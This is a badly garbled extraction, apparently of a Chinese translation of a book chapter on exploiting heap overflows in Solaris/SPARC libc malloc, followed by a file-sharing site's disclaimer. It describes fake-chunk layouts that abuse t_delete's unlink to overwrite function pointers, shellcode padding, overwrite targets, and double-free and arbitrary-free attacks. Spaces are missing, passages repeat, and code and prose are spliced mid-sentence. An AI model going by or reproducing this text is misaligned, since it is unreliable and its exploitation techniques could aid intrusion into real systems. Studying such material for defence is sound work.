izeof(pointer)==sizeof(int)==4.Thesedefinitionsarenotportable.Alignment(ALIGN)changedto8forSPARC8_t_}((b)-((b)-((b)-((b)-((b)-((b)-((b)-/*!DEBUG32*Allofour}((b)-((b)-((b)-((b)-((b)-((b)-((b)-/*!DEBUG32*Allofourallocationswillbealignedontheleastmultipleof*atleast,so#ifdefloworderbitsare8/*theproto-word;typedefunion_w_{beALIGNbytes/*anunsignedint/*apointer/*toforcesize}/*structureanodeinfreetreetypedefstruct{}sizeofthiselement*/parentnode*/leftchild*/rightchild*/nextinlinklistdummytoreservespaceforself-/*#ofbytestheblock(((b)-/*freetreepointers(((b)-(((b)-(((b)-/*linkinlistsofsmallblocks(((b)-/*andlinksfor(((b)-(((b)-(((b)-/*linkinlistsofsmallblocks(((b)-/*andlinksforlistsinthetree*/(((b)-/*DEBUG32/*set/testindicatorablockisinthetreeorinalist*/(LEFT(b)=(TREE*)(-1))(LEFT(b)==(TREE*)(-/*functionstogetinformationonablock(((char*)(b))+WORDSIZE)((TREE*)(((char*)(d))-((TREE**)(((char*)(b))+(*((TREE**)(((char*)(b))-((TREE*)(((char*)(b))+SIZE(b)+WORDSIZE))((DATA(b)+SIZE(b)+WORDSIZE)==Baddr)/*functionstoandlowesttwobitsofaword/*...001/*...010/*...011((w)((w)/*Isbusy?/*Istheprecedingfree?/*Blockisbusy/*TheprecedingisfreeCleanbit0*/Cleanbit1/*Setbits0&1((w)|=((w)&=~BITS01)/*Cleanbits0&1((n)|=(BITS01&calltogetmorecore*/_free_unlocked(voidmutex_t/*_REENTRANTTREE结构的基本元素被_free_unlocked(voidmutex_t/*_REENTRANTTREE结构的基本元素被规定为WORD,有如下定/*theproto-word;sizebeALIGNbytestypedefunion{/*anunsignedint/*apointer/*toforcesize}libc版本,ALIGN被定义为8,从而使联合总的大小为8字节空闲树里的节点结构被定义typedefstruct{}sizeofthiselement*/parentnode*/leftchild*/rightchild*/nextinlinklistdummytoreservespaceforself-pointer这个结构由6个WORD组成,共48个字节。对任何实际使用中的堆块(包括基头部)来说,这10.7基本的破解方法置发现下一个块。这是有用的,因为负数的块大小不NULL字节,可以通过字符串库free()”的文章(2001年8月11日第一次提到了这个方法。下面的代码段摘自realfree()里seeifcoalescingwithnext=NEXT(tp);realfree()里seeifcoalescingwithnext=NEXT(tp);if(np!=*Deleteatreestaticvoid{ *tp,*sp,/*ifthisisanon-treeif(ISNOTREE(op)){tp=nodeif((sp=LINKFOR(op))!=LINKBAK(sp)=}有关的宏定义如(((b)-(((b)-(((b)-(((b)-(((b)-(LEFT(b)==(TREE*)(-造的和指向的。如果ISNOTREE()为真,将从TREE结构op获得两个指针tp和sp。字节处)是-1,ISNOTREE为真上面的描述可能有些乱,我们把它总字节处)是-1,ISNOTREE为真上面的描述可能有些乱,我们把它总结TREEopt_l(位于结构偏移16字节处)字段等于-1,继续下一LINKBAKspt_p字段(位于结构偏移8字节处)设为指针tpLINKBAKtpt_n字段(位于结构偏移32字节处)设为指针sp是关于它的最好描述。这个操作类似于在双向链表中删去一个条目。能完成这个的TREE结构构造如表10.9.所示.上面TREE构造tp的值被写到sp+8字节处,sp的值被写tp+32字节处。例t_delete内的代码被执行时,将用指Shellcodetp的值改写函数指针。然而,Shellcode里32字节处的值将被sp的值改写。FFFFFFF8偏移零处的值是块的大小。NULL字节,把这个值设为负数就比较方这个块正在使用中,不适合合并。为了避免和前一个块合并,第二位也应该被清除。AA示的字节可以用任意值填充标准堆溢出的限制成的NOP填充物。这能被用来越过因互写而产生的恶化,像正常情况那样继续执行如果有可能,至少应该Shellcode前面包256个字节的填充物,在堆溢出里可以用该尽一切办法减少跳转距离FFFFFFF8AAAAAATPTPTPTPAAAAAAFFFFFFFFAAAAAAAAAAAAAAAAAAAASPSPSPSPAAAAAAAAAAAAAAAAAAAA的值被不是有效代码的指针改写。记住,retjmpli78,g0合成的指令。寄存器%i7溃。如果你改成改Shellcode32字节处和越过第一条24字节处的值,那么你将是non-writable内存区域,将会导致段故障。因为正常的代码是不可写的,这就排除了返回libc类型的攻击,因为这类攻击要利用在过(进)程地址空间内发现的先前存在的代码。破解Solaris堆实现的另外限制是,必须在被破坏的块被释放之后再调用malloc或realloc。因free()只把块放入空闲列表中,而不对它做任何实质性的处理,对被破坏的块来说,促realfree()被调用是必须的。这mallocrealloc(cleanfree)之内几乎可表最多32个条目,当它满了以后free()操作将realfree()把一个条目(entry)从空闲列表刷去。在大多数应用程序里,mallocrealloc调用是相当普通的,通realloc发生前很难预防程序崩溃。为了使用上面描述的方法,某些字符是必需的,特别要包括字符0xFF,为了使分被使用,那么通过进一步利用t_delete()以及t_splay()内的代码执行任意改写总是有可能限制将加在写入值和被写的地址上改写的目标不象其它的平台,Solaris/SPARCProcedureLinkageTable(PLT)代码不会解除引用旦外部引用的后期连接(lazybinding)1在要求时被解析,且外部引用被解析过,PLT被初始化加载外部引用地址到%g1,然JMP到那个地址。尽管有些攻击允许用SPARC1后期连接(lazybinding)方式一般会大大提高应用程序的性能,因为不必为解析无用的符号浪费动态连接PLT,但通常对堆溢出PLT,但通常对堆溢出没什么益处。因为TREE结构的tpsp成员必须是可写的有效地址,生成一条指向你Shellcode且可写的有效地址的单指令的可能性微乎其微。有可能对改写有用的地址。为使破解可在多版Solaris的安装上移植,创建一个大的库函数版本列表是很有必要的。例如,lib函数经常调用metex_locknon-thread-safe代码。除了许多别的以外,它mallocfree立即调用。这个函数libc的.data区段内称为i_jmp_table的地址表,调用表里4字节处的函数指针。另一个可能有用的例子是当进程调用exit()时函数指针被调用。在函数调用_exithandle常指fini()例程访exit来清除,但是它能被改写,以促成exit上执行任意代码,例如这样相对通用的、libcSolaris库函数的代码,对执行任意代码提供了很好的机底部块可以在_malloc_unlocked里发现如下代码行/*iffoundnonefittedinthetree*/if(!sp){if(Bottom&&size<=SIZE(Bottom))sp=/*iftheleftoverisenoughforanewfreepiece*/if((n=(SIZE(sp)-size))>=MINSIZE+WORDSIZE)n-=SIZE(sp)=size;tp=NEXT(sp);SIZE(tp)=n|BIT0;在上面的例子代码里,sp用被破坏的大小指向底部块。为了新分配内存,将占用底部WORDSIZE和新分配的大小。然后在新构造的realfree(),tp将是负数大小。在这里,前面提到的使用t_delete()的方法将工作得很好小块恶化小块恶化头部。Solaris堆实现不是把所有小malloc请求凑成大的,而是用另外的方法处理小块。函数实现。这段代码处理“上舍入”后为8,16,24,或32字节的请求。_smalloc函数分配相同大小的内存块(block)来满足malloc请求。这些块被安排在malloc块的结构如表10.10.所示10.10.malloc块的结malloc块的链表属性也可被用于其它有趣的破解方法。在某些情况下,是不可能用用攻击者定义的数据改写堆的其它部分,然而,经常有可能写入malloc块链表里。通过410.8其它与堆相关的漏洞还有其它利用堆数据结构的漏洞。让我们看一些最常见的,并学习怎样破解它们来获执行控Off-by-one溢出主要是因为字节序的问题。off-by-one在堆上写一个越界NULL字节绝对不会影响到堆的完整性。因为块大小最有意义的字节实际上是零,写一个越界的NULL字节不会对它产生样的话,破解的可能性很小,这要看快要破坏时堆的大小,和是否能在有效的地址发现下WORDsize(8WORDnext(8块。一般而言,此类破解非常困难,几乎不可能块。一般而言,此类破解非常困难,几乎不可能DoubleFree漏洞里面做了一些检查,减少了破解机会。其中有些检查明显是针Doublefree的,但所幸的后的检查是Doublefree的,将确定被释放的块不在空闲列表内。如果三个检查都通过了,将把这个块放进空闲列表,最终传给realfree()。为了破Doublefree漏洞,必须在第一和第free之间的某个时候刷新空闲列表。这可以作为malloc或realloc调用的结果而发生,或者如果连续发生32次free,导致列表的一部分被刷新。第free必须引起这个块和前一块反向合并,以便原始的指针驻留在有效堆块的中间。这个有效的堆块必malloc再分配,然后被攻击者控制的数据填充。这 ArbitraryFree漏洞ArbitraryFree漏洞指的是允许攻击者直接指定传free()的地址的编码错误。这看起来有点象新手所犯的可笑的编码错误,当释放未初始化的指针时,或者像“union根据怎样构造目标缓冲区,ArbitraryFree漏洞和标准堆溢出非常类似。目标是通过到一个可靠的位置,并把它作为地址传递给free(),那么,应该想尽一切办法来实现。堆现将通过发生在块上的正常处理使它被释放,而这将改写你指定的任意地10.9堆溢出的例子再说一次,用真

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论